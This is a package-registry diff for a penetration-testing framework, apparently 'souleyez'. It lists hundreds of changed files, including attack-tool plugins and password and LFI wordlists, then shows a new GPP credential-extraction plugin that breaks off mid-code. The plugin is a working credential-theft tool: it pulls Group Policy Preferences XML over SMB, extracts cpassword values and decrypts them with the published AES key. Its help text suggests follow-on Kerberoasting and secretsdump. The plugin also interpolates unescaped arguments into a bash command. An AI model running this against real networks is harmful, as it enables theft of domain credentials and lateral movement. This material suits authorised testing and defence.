souleyez 2.43.28__py3-none-any.whl → 2.43.32__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (356) hide show
  1. souleyez/__init__.py +1 -2
  2. souleyez/ai/__init__.py +21 -15
  3. souleyez/ai/action_mapper.py +249 -150
  4. souleyez/ai/chain_advisor.py +116 -100
  5. souleyez/ai/claude_provider.py +29 -28
  6. souleyez/ai/context_builder.py +80 -62
  7. souleyez/ai/executor.py +158 -117
  8. souleyez/ai/feedback_handler.py +136 -121
  9. souleyez/ai/llm_factory.py +27 -20
  10. souleyez/ai/llm_provider.py +4 -2
  11. souleyez/ai/ollama_provider.py +6 -9
  12. souleyez/ai/ollama_service.py +44 -37
  13. souleyez/ai/path_scorer.py +91 -76
  14. souleyez/ai/recommender.py +176 -144
  15. souleyez/ai/report_context.py +74 -73
  16. souleyez/ai/report_service.py +84 -66
  17. souleyez/ai/result_parser.py +222 -229
  18. souleyez/ai/safety.py +67 -44
  19. souleyez/auth/__init__.py +23 -22
  20. souleyez/auth/audit.py +36 -26
  21. souleyez/auth/engagement_access.py +65 -48
  22. souleyez/auth/permissions.py +14 -3
  23. souleyez/auth/session_manager.py +54 -37
  24. souleyez/auth/user_manager.py +109 -64
  25. souleyez/commands/audit.py +40 -43
  26. souleyez/commands/auth.py +35 -15
  27. souleyez/commands/deliverables.py +55 -50
  28. souleyez/commands/engagement.py +47 -28
  29. souleyez/commands/license.py +32 -23
  30. souleyez/commands/screenshots.py +36 -32
  31. souleyez/commands/user.py +82 -36
  32. souleyez/config.py +52 -44
  33. souleyez/core/credential_tester.py +87 -81
  34. souleyez/core/cve_mappings.py +179 -192
  35. souleyez/core/cve_matcher.py +162 -148
  36. souleyez/core/msf_auto_mapper.py +100 -83
  37. souleyez/core/msf_chain_engine.py +294 -256
  38. souleyez/core/msf_database.py +153 -70
  39. souleyez/core/msf_integration.py +679 -673
  40. souleyez/core/msf_rpc_client.py +40 -42
  41. souleyez/core/msf_rpc_manager.py +77 -79
  42. souleyez/core/msf_sync_manager.py +241 -181
  43. souleyez/core/network_utils.py +22 -15
  44. souleyez/core/parser_handler.py +34 -25
  45. souleyez/core/pending_chains.py +114 -63
  46. souleyez/core/templates.py +158 -107
  47. souleyez/core/tool_chaining.py +9592 -2879
  48. souleyez/core/version_utils.py +79 -94
  49. souleyez/core/vuln_correlation.py +136 -89
  50. souleyez/core/web_utils.py +33 -32
  51. souleyez/data/wordlists/ad_users.txt +378 -0
  52. souleyez/data/wordlists/api_endpoints_large.txt +769 -0
  53. souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
  54. souleyez/data/wordlists/lfi_payloads.txt +82 -0
  55. souleyez/data/wordlists/passwords_brute.txt +1548 -0
  56. souleyez/data/wordlists/passwords_crack.txt +2479 -0
  57. souleyez/data/wordlists/passwords_spray.txt +386 -0
  58. souleyez/data/wordlists/subdomains_large.txt +5057 -0
  59. souleyez/data/wordlists/usernames_common.txt +694 -0
  60. souleyez/data/wordlists/web_dirs_large.txt +4769 -0
  61. souleyez/detection/__init__.py +1 -1
  62. souleyez/detection/attack_signatures.py +12 -17
  63. souleyez/detection/mitre_mappings.py +61 -55
  64. souleyez/detection/validator.py +97 -86
  65. souleyez/devtools.py +23 -10
  66. souleyez/docs/README.md +4 -4
  67. souleyez/docs/api-reference/cli-commands.md +2 -2
  68. souleyez/docs/developer-guide/adding-new-tools.md +562 -0
  69. souleyez/docs/user-guide/auto-chaining.md +30 -8
  70. souleyez/docs/user-guide/getting-started.md +1 -1
  71. souleyez/docs/user-guide/installation.md +26 -3
  72. souleyez/docs/user-guide/metasploit-integration.md +2 -2
  73. souleyez/docs/user-guide/rbac.md +1 -1
  74. souleyez/docs/user-guide/scope-management.md +1 -1
  75. souleyez/docs/user-guide/siem-integration.md +1 -1
  76. souleyez/docs/user-guide/tools-reference.md +1 -8
  77. souleyez/docs/user-guide/worker-management.md +1 -1
  78. souleyez/engine/background.py +1238 -535
  79. souleyez/engine/base.py +4 -1
  80. souleyez/engine/job_status.py +17 -49
  81. souleyez/engine/log_sanitizer.py +103 -77
  82. souleyez/engine/manager.py +38 -7
  83. souleyez/engine/result_handler.py +2198 -1550
  84. souleyez/engine/worker_manager.py +50 -41
  85. souleyez/export/evidence_bundle.py +72 -62
  86. souleyez/feature_flags/features.py +16 -20
  87. souleyez/feature_flags.py +5 -9
  88. souleyez/handlers/__init__.py +11 -0
  89. souleyez/handlers/base.py +188 -0
  90. souleyez/handlers/bash_handler.py +277 -0
  91. souleyez/handlers/bloodhound_handler.py +243 -0
  92. souleyez/handlers/certipy_handler.py +311 -0
  93. souleyez/handlers/crackmapexec_handler.py +486 -0
  94. souleyez/handlers/dnsrecon_handler.py +344 -0
  95. souleyez/handlers/enum4linux_handler.py +400 -0
  96. souleyez/handlers/evil_winrm_handler.py +493 -0
  97. souleyez/handlers/ffuf_handler.py +815 -0
  98. souleyez/handlers/gobuster_handler.py +1114 -0
  99. souleyez/handlers/gpp_extract_handler.py +334 -0
  100. souleyez/handlers/hashcat_handler.py +444 -0
  101. souleyez/handlers/hydra_handler.py +563 -0
  102. souleyez/handlers/impacket_getuserspns_handler.py +343 -0
  103. souleyez/handlers/impacket_psexec_handler.py +222 -0
  104. souleyez/handlers/impacket_secretsdump_handler.py +426 -0
  105. souleyez/handlers/john_handler.py +286 -0
  106. souleyez/handlers/katana_handler.py +425 -0
  107. souleyez/handlers/kerbrute_handler.py +298 -0
  108. souleyez/handlers/ldapsearch_handler.py +636 -0
  109. souleyez/handlers/lfi_extract_handler.py +464 -0
  110. souleyez/handlers/msf_auxiliary_handler.py +408 -0
  111. souleyez/handlers/msf_exploit_handler.py +380 -0
  112. souleyez/handlers/nikto_handler.py +413 -0
  113. souleyez/handlers/nmap_handler.py +821 -0
  114. souleyez/handlers/nuclei_handler.py +359 -0
  115. souleyez/handlers/nxc_handler.py +371 -0
  116. souleyez/handlers/rdp_sec_check_handler.py +353 -0
  117. souleyez/handlers/registry.py +288 -0
  118. souleyez/handlers/responder_handler.py +232 -0
  119. souleyez/handlers/service_explorer_handler.py +434 -0
  120. souleyez/handlers/smbclient_handler.py +344 -0
  121. souleyez/handlers/smbmap_handler.py +510 -0
  122. souleyez/handlers/smbpasswd_handler.py +296 -0
  123. souleyez/handlers/sqlmap_handler.py +1116 -0
  124. souleyez/handlers/theharvester_handler.py +601 -0
  125. souleyez/handlers/whois_handler.py +277 -0
  126. souleyez/handlers/wpscan_handler.py +554 -0
  127. souleyez/history.py +32 -16
  128. souleyez/importers/msf_importer.py +106 -75
  129. souleyez/importers/smart_importer.py +208 -147
  130. souleyez/integrations/siem/__init__.py +10 -10
  131. souleyez/integrations/siem/base.py +17 -18
  132. souleyez/integrations/siem/elastic.py +108 -122
  133. souleyez/integrations/siem/factory.py +207 -80
  134. souleyez/integrations/siem/googlesecops.py +146 -154
  135. souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
  136. souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
  137. souleyez/integrations/siem/sentinel.py +107 -109
  138. souleyez/integrations/siem/splunk.py +246 -212
  139. souleyez/integrations/siem/wazuh.py +65 -71
  140. souleyez/integrations/wazuh/__init__.py +5 -5
  141. souleyez/integrations/wazuh/client.py +70 -93
  142. souleyez/integrations/wazuh/config.py +85 -57
  143. souleyez/integrations/wazuh/host_mapper.py +28 -36
  144. souleyez/integrations/wazuh/sync.py +78 -68
  145. souleyez/intelligence/__init__.py +4 -5
  146. souleyez/intelligence/correlation_analyzer.py +309 -295
  147. souleyez/intelligence/exploit_knowledge.py +661 -623
  148. souleyez/intelligence/exploit_suggestions.py +159 -139
  149. souleyez/intelligence/gap_analyzer.py +132 -97
  150. souleyez/intelligence/gap_detector.py +251 -214
  151. souleyez/intelligence/sensitive_tables.py +266 -129
  152. souleyez/intelligence/service_parser.py +137 -123
  153. souleyez/intelligence/surface_analyzer.py +407 -268
  154. souleyez/intelligence/target_parser.py +159 -162
  155. souleyez/licensing/__init__.py +6 -6
  156. souleyez/licensing/validator.py +17 -19
  157. souleyez/log_config.py +79 -54
  158. souleyez/main.py +1505 -687
  159. souleyez/migrations/fix_job_counter.py +16 -14
  160. souleyez/parsers/bloodhound_parser.py +41 -39
  161. souleyez/parsers/crackmapexec_parser.py +178 -111
  162. souleyez/parsers/dalfox_parser.py +72 -77
  163. souleyez/parsers/dnsrecon_parser.py +103 -91
  164. souleyez/parsers/enum4linux_parser.py +183 -153
  165. souleyez/parsers/ffuf_parser.py +29 -25
  166. souleyez/parsers/gobuster_parser.py +301 -41
  167. souleyez/parsers/hashcat_parser.py +324 -79
  168. souleyez/parsers/http_fingerprint_parser.py +350 -103
  169. souleyez/parsers/hydra_parser.py +131 -111
  170. souleyez/parsers/impacket_parser.py +231 -178
  171. souleyez/parsers/john_parser.py +98 -86
  172. souleyez/parsers/katana_parser.py +316 -0
  173. souleyez/parsers/msf_parser.py +943 -498
  174. souleyez/parsers/nikto_parser.py +346 -65
  175. souleyez/parsers/nmap_parser.py +262 -174
  176. souleyez/parsers/nuclei_parser.py +40 -44
  177. souleyez/parsers/responder_parser.py +26 -26
  178. souleyez/parsers/searchsploit_parser.py +74 -74
  179. souleyez/parsers/service_explorer_parser.py +279 -0
  180. souleyez/parsers/smbmap_parser.py +180 -124
  181. souleyez/parsers/sqlmap_parser.py +434 -308
  182. souleyez/parsers/theharvester_parser.py +75 -57
  183. souleyez/parsers/whois_parser.py +135 -94
  184. souleyez/parsers/wpscan_parser.py +278 -190
  185. souleyez/plugins/afp.py +44 -36
  186. souleyez/plugins/afp_brute.py +114 -46
  187. souleyez/plugins/ard.py +48 -37
  188. souleyez/plugins/bloodhound.py +95 -61
  189. souleyez/plugins/certipy.py +303 -0
  190. souleyez/plugins/crackmapexec.py +186 -85
  191. souleyez/plugins/dalfox.py +120 -59
  192. souleyez/plugins/dns_hijack.py +146 -41
  193. souleyez/plugins/dnsrecon.py +97 -61
  194. souleyez/plugins/enum4linux.py +91 -66
  195. souleyez/plugins/evil_winrm.py +291 -0
  196. souleyez/plugins/ffuf.py +166 -90
  197. souleyez/plugins/firmware_extract.py +133 -29
  198. souleyez/plugins/gobuster.py +387 -190
  199. souleyez/plugins/gpp_extract.py +393 -0
  200. souleyez/plugins/hashcat.py +100 -73
  201. souleyez/plugins/http_fingerprint.py +854 -267
  202. souleyez/plugins/hydra.py +566 -200
  203. souleyez/plugins/impacket_getnpusers.py +117 -69
  204. souleyez/plugins/impacket_psexec.py +84 -64
  205. souleyez/plugins/impacket_secretsdump.py +103 -69
  206. souleyez/plugins/impacket_smbclient.py +89 -75
  207. souleyez/plugins/john.py +86 -69
  208. souleyez/plugins/katana.py +313 -0
  209. souleyez/plugins/kerbrute.py +237 -0
  210. souleyez/plugins/lfi_extract.py +541 -0
  211. souleyez/plugins/macos_ssh.py +117 -48
  212. souleyez/plugins/mdns.py +35 -30
  213. souleyez/plugins/msf_auxiliary.py +253 -130
  214. souleyez/plugins/msf_exploit.py +239 -161
  215. souleyez/plugins/nikto.py +134 -78
  216. souleyez/plugins/nmap.py +275 -91
  217. souleyez/plugins/nuclei.py +180 -89
  218. souleyez/plugins/nxc.py +285 -0
  219. souleyez/plugins/plugin_base.py +35 -36
  220. souleyez/plugins/plugin_template.py +13 -5
  221. souleyez/plugins/rdp_sec_check.py +130 -0
  222. souleyez/plugins/responder.py +112 -71
  223. souleyez/plugins/router_http_brute.py +76 -65
  224. souleyez/plugins/router_ssh_brute.py +118 -41
  225. souleyez/plugins/router_telnet_brute.py +124 -42
  226. souleyez/plugins/routersploit.py +91 -59
  227. souleyez/plugins/routersploit_exploit.py +77 -55
  228. souleyez/plugins/searchsploit.py +91 -77
  229. souleyez/plugins/service_explorer.py +1160 -0
  230. souleyez/plugins/smbmap.py +122 -72
  231. souleyez/plugins/smbpasswd.py +215 -0
  232. souleyez/plugins/sqlmap.py +301 -113
  233. souleyez/plugins/theharvester.py +127 -75
  234. souleyez/plugins/tr069.py +79 -57
  235. souleyez/plugins/upnp.py +65 -47
  236. souleyez/plugins/upnp_abuse.py +73 -55
  237. souleyez/plugins/vnc_access.py +129 -42
  238. souleyez/plugins/vnc_brute.py +109 -38
  239. souleyez/plugins/whois.py +77 -58
  240. souleyez/plugins/wpscan.py +173 -69
  241. souleyez/reporting/__init__.py +2 -1
  242. souleyez/reporting/attack_chain.py +411 -346
  243. souleyez/reporting/charts.py +436 -501
  244. souleyez/reporting/compliance_mappings.py +334 -201
  245. souleyez/reporting/detection_report.py +126 -125
  246. souleyez/reporting/formatters.py +828 -591
  247. souleyez/reporting/generator.py +386 -302
  248. souleyez/reporting/metrics.py +72 -75
  249. souleyez/scanner.py +35 -29
  250. souleyez/security/__init__.py +37 -11
  251. souleyez/security/scope_validator.py +175 -106
  252. souleyez/security/validation.py +223 -149
  253. souleyez/security.py +22 -6
  254. souleyez/storage/credentials.py +247 -186
  255. souleyez/storage/crypto.py +296 -129
  256. souleyez/storage/database.py +73 -50
  257. souleyez/storage/db.py +58 -36
  258. souleyez/storage/deliverable_evidence.py +177 -128
  259. souleyez/storage/deliverable_exporter.py +282 -246
  260. souleyez/storage/deliverable_templates.py +134 -116
  261. souleyez/storage/deliverables.py +135 -130
  262. souleyez/storage/engagements.py +109 -56
  263. souleyez/storage/evidence.py +181 -152
  264. souleyez/storage/execution_log.py +31 -17
  265. souleyez/storage/exploit_attempts.py +93 -57
  266. souleyez/storage/exploits.py +67 -36
  267. souleyez/storage/findings.py +48 -61
  268. souleyez/storage/hosts.py +176 -144
  269. souleyez/storage/migrate_to_engagements.py +43 -19
  270. souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
  271. souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
  272. souleyez/storage/migrations/_003_add_execution_log.py +14 -8
  273. souleyez/storage/migrations/_005_screenshots.py +13 -5
  274. souleyez/storage/migrations/_006_deliverables.py +13 -5
  275. souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
  276. souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
  277. souleyez/storage/migrations/_010_evidence_linking.py +17 -10
  278. souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
  279. souleyez/storage/migrations/_012_team_collaboration.py +34 -21
  280. souleyez/storage/migrations/_013_add_host_tags.py +12 -6
  281. souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
  282. souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
  283. souleyez/storage/migrations/_016_add_domain_field.py +10 -4
  284. souleyez/storage/migrations/_017_msf_sessions.py +16 -8
  285. souleyez/storage/migrations/_018_add_osint_target.py +10 -6
  286. souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
  287. souleyez/storage/migrations/_020_add_rbac.py +36 -15
  288. souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
  289. souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
  290. souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
  291. souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
  292. souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
  293. souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
  294. souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
  295. souleyez/storage/migrations/__init__.py +26 -26
  296. souleyez/storage/migrations/migration_manager.py +19 -19
  297. souleyez/storage/msf_sessions.py +100 -65
  298. souleyez/storage/osint.py +17 -24
  299. souleyez/storage/recommendation_engine.py +269 -235
  300. souleyez/storage/screenshots.py +33 -32
  301. souleyez/storage/smb_shares.py +136 -92
  302. souleyez/storage/sqlmap_data.py +183 -128
  303. souleyez/storage/team_collaboration.py +135 -141
  304. souleyez/storage/timeline_tracker.py +122 -94
  305. souleyez/storage/wazuh_vulns.py +64 -66
  306. souleyez/storage/web_paths.py +33 -37
  307. souleyez/testing/credential_tester.py +221 -205
  308. souleyez/ui/__init__.py +1 -1
  309. souleyez/ui/ai_quotes.py +12 -12
  310. souleyez/ui/attack_surface.py +2439 -1516
  311. souleyez/ui/chain_rules_view.py +914 -382
  312. souleyez/ui/correlation_view.py +312 -230
  313. souleyez/ui/dashboard.py +2382 -1130
  314. souleyez/ui/deliverables_view.py +148 -62
  315. souleyez/ui/design_system.py +13 -13
  316. souleyez/ui/errors.py +49 -49
  317. souleyez/ui/evidence_linking_view.py +284 -179
  318. souleyez/ui/evidence_vault.py +393 -285
  319. souleyez/ui/exploit_suggestions_view.py +555 -349
  320. souleyez/ui/export_view.py +100 -66
  321. souleyez/ui/gap_analysis_view.py +315 -171
  322. souleyez/ui/help_system.py +105 -97
  323. souleyez/ui/intelligence_view.py +436 -293
  324. souleyez/ui/interactive.py +23142 -10430
  325. souleyez/ui/interactive_selector.py +75 -68
  326. souleyez/ui/log_formatter.py +47 -39
  327. souleyez/ui/menu_components.py +22 -13
  328. souleyez/ui/msf_auxiliary_menu.py +184 -133
  329. souleyez/ui/pending_chains_view.py +336 -172
  330. souleyez/ui/progress_indicators.py +5 -3
  331. souleyez/ui/recommendations_view.py +195 -137
  332. souleyez/ui/rule_builder.py +343 -225
  333. souleyez/ui/setup_wizard.py +678 -284
  334. souleyez/ui/shortcuts.py +217 -165
  335. souleyez/ui/splunk_gap_analysis_view.py +452 -270
  336. souleyez/ui/splunk_vulns_view.py +139 -86
  337. souleyez/ui/team_dashboard.py +498 -335
  338. souleyez/ui/template_selector.py +196 -105
  339. souleyez/ui/terminal.py +6 -6
  340. souleyez/ui/timeline_view.py +198 -127
  341. souleyez/ui/tool_setup.py +264 -164
  342. souleyez/ui/tutorial.py +202 -72
  343. souleyez/ui/tutorial_state.py +40 -40
  344. souleyez/ui/wazuh_vulns_view.py +235 -141
  345. souleyez/ui/wordlist_browser.py +260 -107
  346. souleyez/ui.py +464 -312
  347. souleyez/utils/tool_checker.py +427 -367
  348. souleyez/utils.py +33 -29
  349. souleyez/wordlists.py +134 -167
  350. {souleyez-2.43.28.dist-info → souleyez-2.43.32.dist-info}/METADATA +1 -1
  351. souleyez-2.43.32.dist-info/RECORD +441 -0
  352. {souleyez-2.43.28.dist-info → souleyez-2.43.32.dist-info}/WHEEL +1 -1
  353. souleyez-2.43.28.dist-info/RECORD +0 -379
  354. {souleyez-2.43.28.dist-info → souleyez-2.43.32.dist-info}/entry_points.txt +0 -0
  355. {souleyez-2.43.28.dist-info → souleyez-2.43.32.dist-info}/licenses/LICENSE +0 -0
  356. {souleyez-2.43.28.dist-info → souleyez-2.43.32.dist-info}/top_level.txt +0 -0
@@ -0,0 +1,393 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ GPP (Group Policy Preferences) credential extraction plugin.
4
+
5
+ Downloads GPP XML files from SMB shares and extracts/decrypts cPassword values.
6
+ """
7
+ import os
8
+ import re
9
+ import subprocess
10
+ import tempfile
11
+ from typing import Any, Dict, List, Optional
12
+
13
+ from .plugin_base import PluginBase
14
+
15
+ HELP = {
16
+ "name": "GPP Extract — Group Policy Preferences Credential Extraction",
17
+ "description": (
18
+ "Extracts and decrypts credentials from Group Policy Preferences (GPP) XML files.\n\n"
19
+ "GPP files (Groups.xml, ScheduledTasks.xml, etc.) often contain encrypted passwords.\n"
20
+ "Microsoft published the AES key used for encryption (MS14-025), making these\n"
21
+ "passwords trivially decryptable.\n\n"
22
+ "This tool:\n"
23
+ "- Downloads GPP XML files from SMB shares via smbclient\n"
24
+ "- Extracts cpassword attributes from the XML\n"
25
+ "- Decrypts using gpp-decrypt (or built-in Python fallback)\n"
26
+ "- Stores plaintext credentials in the database\n\n"
27
+ "Common GPP file locations:\n"
28
+ "- \\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\Machine\\Preferences\\Groups\\Groups.xml\n"
29
+ "- \\\\DC\\Replication\\...\\Preferences\\Groups\\Groups.xml\n"
30
+ ),
31
+ "usage": 'souleyez jobs enqueue gpp_extract <target> --args "--share <share> --path <path>"',
32
+ "examples": [
33
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
34
+ 'souleyez jobs enqueue gpp_extract 192.168.1.1 --args "--share SYSVOL --path domain.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml --user admin --password Pass123"',
35
+ ],
36
+ "flags": [
37
+ ["--share <name>", "SMB share name (e.g., SYSVOL, Replication)"],
38
+ ["--path <path>", "Path to GPP file within the share"],
39
+ ["--host <ip>", "Target host (defaults to target argument)"],
40
+ ["--user <name>", "Username for authenticated access (optional)"],
41
+ ["--password <pass>", "Password for authenticated access (optional)"],
42
+ ],
43
+ "presets": [
44
+ {
45
+ "name": "Anonymous",
46
+ "args": [],
47
+ "desc": "Extract using anonymous/null session",
48
+ },
49
+ {
50
+ "name": "Authenticated",
51
+ "args": ["--user", "USER", "--password", "PASS"],
52
+ "desc": "Extract with credentials",
53
+ },
54
+ ],
55
+ "help_sections": [
56
+ {
57
+ "title": "What is GPP Password Extraction?",
58
+ "color": "cyan",
59
+ "content": [
60
+ (
61
+ "Overview",
62
+ [
63
+ "Group Policy Preferences (GPP) can store encrypted passwords",
64
+ "Microsoft published the AES key (MS14-025) - passwords are trivially decryptable!",
65
+ "Found in SYSVOL/Replication shares on domain controllers",
66
+ ],
67
+ ),
68
+ (
69
+ "Why This Works",
70
+ [
71
+ "GPP was designed to set local admin passwords via Group Policy",
72
+ "The encryption key was meant to be secret but was published in MSDN docs",
73
+ "Despite being 'patched', old GPP files often remain on DCs",
74
+ ],
75
+ ),
76
+ ],
77
+ },
78
+ {
79
+ "title": "Usage & Examples",
80
+ "color": "green",
81
+ "content": [
82
+ (
83
+ "Anonymous Access",
84
+ [
85
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
86
+ " → Downloads and decrypts GPP file via null session",
87
+ ],
88
+ ),
89
+ (
90
+ "With Credentials",
91
+ [
92
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share SYSVOL --path domain/Policies/{GUID}/... --user admin --password Pass123"',
93
+ " → Uses credentials to access the share",
94
+ ],
95
+ ),
96
+ ],
97
+ },
98
+ {
99
+ "title": "Finding GPP Files",
100
+ "color": "yellow",
101
+ "content": [
102
+ (
103
+ "Common Locations",
104
+ [
105
+ "\\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\Machine\\Preferences\\Groups\\Groups.xml",
106
+ "\\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\User\\Preferences\\Groups\\Groups.xml",
107
+ "\\\\DC\\Replication\\...\\Preferences\\Groups\\Groups.xml",
108
+ ],
109
+ ),
110
+ (
111
+ "GPP File Types",
112
+ [
113
+ "Groups.xml - Local group membership and passwords",
114
+ "Services.xml - Service account credentials",
115
+ "ScheduledTasks.xml - Scheduled task credentials",
116
+ "DataSources.xml - Database connection strings",
117
+ "Drives.xml - Mapped drive credentials",
118
+ ],
119
+ ),
120
+ (
121
+ "Discovery Workflow",
122
+ [
123
+ "1. Run smbmap to enumerate shares",
124
+ "2. Look for SYSVOL or Replication with read access",
125
+ "3. Browse Policies folders for Preferences directories",
126
+ "4. Auto-chains will trigger this tool when GPP files found",
127
+ ],
128
+ ),
129
+ ],
130
+ },
131
+ {
132
+ "title": "After Getting Credentials",
133
+ "color": "magenta",
134
+ "content": [
135
+ (
136
+ "Next Steps",
137
+ [
138
+ "Try credentials on SMB, WinRM, RDP, LDAP",
139
+ "Check if account has special privileges (Domain Admin?)",
140
+ "Use for Kerberoasting if it's a service account",
141
+ "Run secretsdump to extract more credentials",
142
+ ],
143
+ ),
144
+ ],
145
+ },
146
+ ],
147
+ }
148
+
149
+
150
+ class GppExtractPlugin(PluginBase):
151
+ """Plugin for extracting credentials from GPP XML files."""
152
+
153
+ name = "gpp_extract"
154
+ display_name = "GPP Extract"
155
+ description = (
156
+ "Extract and decrypt credentials from Group Policy Preferences XML files"
157
+ )
158
+ category = "credentials"
159
+ HELP = HELP
160
+
161
+ examples = [
162
+ 'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
163
+ ]
164
+
165
+ def build_command(
166
+ self,
167
+ target: str,
168
+ args: List[str] = None,
169
+ wordlist: str = None,
170
+ label: str = None,
171
+ ) -> Dict[str, Any]:
172
+ """
173
+ Build the command to download and extract GPP credentials.
174
+
175
+ Args format:
176
+ --share <share_name>
177
+ --path <path_to_gpp_file>
178
+ --host <host> (optional, defaults to target)
179
+ --user <username> (optional)
180
+ --password <password> (optional)
181
+ """
182
+ args = args or []
183
+
184
+ # Parse args
185
+ share = None
186
+ path = None
187
+ host = target
188
+ user = ""
189
+ password = ""
190
+
191
+ i = 0
192
+ while i < len(args):
193
+ if args[i] == "--share" and i + 1 < len(args):
194
+ share = args[i + 1]
195
+ i += 2
196
+ elif args[i] == "--path" and i + 1 < len(args):
197
+ path = args[i + 1]
198
+ i += 2
199
+ elif args[i] == "--host" and i + 1 < len(args):
200
+ host = args[i + 1]
201
+ i += 2
202
+ elif args[i] == "--user" and i + 1 < len(args):
203
+ user = args[i + 1]
204
+ i += 2
205
+ elif args[i] == "--password" and i + 1 < len(args):
206
+ password = args[i + 1]
207
+ i += 2
208
+ else:
209
+ i += 1
210
+
211
+ if not share or not path:
212
+ return {
213
+ "cmd": ["echo", "Error: --share and --path are required"],
214
+ "timeout": 10,
215
+ }
216
+
217
+ # Build smbclient command to download the file
218
+ # We'll use a wrapper script approach since we need to parse output
219
+ smb_path = f"//{host}/{share}"
220
+
221
+ # Credential args
222
+ cred_args = "-N" # No password (anonymous)
223
+ if user:
224
+ cred_args = f"-U '{user}%{password}'"
225
+
226
+ # Build smbclient get command
227
+ cmd = [
228
+ "bash",
229
+ "-c",
230
+ f"""
231
+ set -e
232
+ echo "=== GPP Credential Extraction ==="
233
+ echo "Host: {host}"
234
+ echo "Share: {share}"
235
+ echo "Path: {path}"
236
+ echo ""
237
+
238
+ # Create temp directory for download
239
+ TMPDIR=$(mktemp -d)
240
+ trap "rm -rf $TMPDIR" EXIT
241
+
242
+ # Download the GPP file
243
+ echo "[*] Downloading GPP file..."
244
+ smbclient '{smb_path}' {cred_args} -c "get \\"{path}\\" \\"$TMPDIR/gpp.xml\\"" 2>&1 || true
245
+
246
+ if [ ! -f "$TMPDIR/gpp.xml" ]; then
247
+ echo "[-] Failed to download GPP file"
248
+ echo "[-] Trying alternative path format..."
249
+ # Try without leading path component
250
+ ALTPATH=$(echo "{path}" | sed 's|^[^/]*/||')
251
+ smbclient '{smb_path}' {cred_args} -c "get \\"$ALTPATH\\" \\"$TMPDIR/gpp.xml\\"" 2>&1 || true
252
+ fi
253
+
254
+ if [ ! -f "$TMPDIR/gpp.xml" ]; then
255
+ echo "[-] Failed to download GPP file"
256
+ exit 1
257
+ fi
258
+
259
+ echo "[+] Downloaded GPP file successfully"
260
+ echo ""
261
+ echo "=== GPP File Contents ==="
262
+ cat "$TMPDIR/gpp.xml"
263
+ echo ""
264
+ echo ""
265
+
266
+ # Extract cPassword using grep/sed
267
+ echo "=== Extracting Credentials ==="
268
+ CPASSWORD=$(grep -oP 'cpassword="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
269
+ USERNAME=$(grep -oP 'userName="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
270
+ NEWNAME=$(grep -oP 'newName="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
271
+
272
+ if [ -z "$CPASSWORD" ]; then
273
+ # Try alternative attribute names
274
+ CPASSWORD=$(grep -oP 'cPassword="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
275
+ fi
276
+
277
+ if [ -z "$USERNAME" ]; then
278
+ USERNAME=$(grep -oP 'runAs="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
279
+ fi
280
+
281
+ if [ -n "$USERNAME" ]; then
282
+ echo "[+] Username: $USERNAME"
283
+ fi
284
+ if [ -n "$NEWNAME" ]; then
285
+ echo "[+] New Name: $NEWNAME"
286
+ fi
287
+
288
+ if [ -z "$CPASSWORD" ]; then
289
+ echo "[-] No cpassword found in GPP file"
290
+ exit 0
291
+ fi
292
+
293
+ echo "[+] Encrypted Password (cpassword): $CPASSWORD"
294
+ echo ""
295
+
296
+ # Decrypt using gpp-decrypt
297
+ echo "=== Decrypting Password ==="
298
+ if command -v gpp-decrypt &> /dev/null; then
299
+ PLAINTEXT=$(gpp-decrypt "$CPASSWORD" 2>&1)
300
+ if [ -n "$PLAINTEXT" ]; then
301
+ echo "[+] Decrypted Password: $PLAINTEXT"
302
+ echo ""
303
+ echo "=== CREDENTIALS FOUND ==="
304
+ echo "Username: $USERNAME"
305
+ echo "Password: $PLAINTEXT"
306
+ echo "========================="
307
+ else
308
+ echo "[-] gpp-decrypt failed to decrypt"
309
+ fi
310
+ else
311
+ echo "[-] gpp-decrypt not found, trying Python decryption..."
312
+ # Fallback: Python-based decryption
313
+ python3 -c "
314
+ import base64
315
+ from Crypto.Cipher import AES
316
+ from Crypto.Util.Padding import unpad
317
+
318
+ # Microsoft published AES key for GPP
319
+ key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
320
+ cpassword = '$CPASSWORD'
321
+
322
+ # Add padding if needed
323
+ cpassword += '=' * (4 - len(cpassword) % 4)
324
+ encrypted = base64.b64decode(cpassword)
325
+
326
+ # Decrypt
327
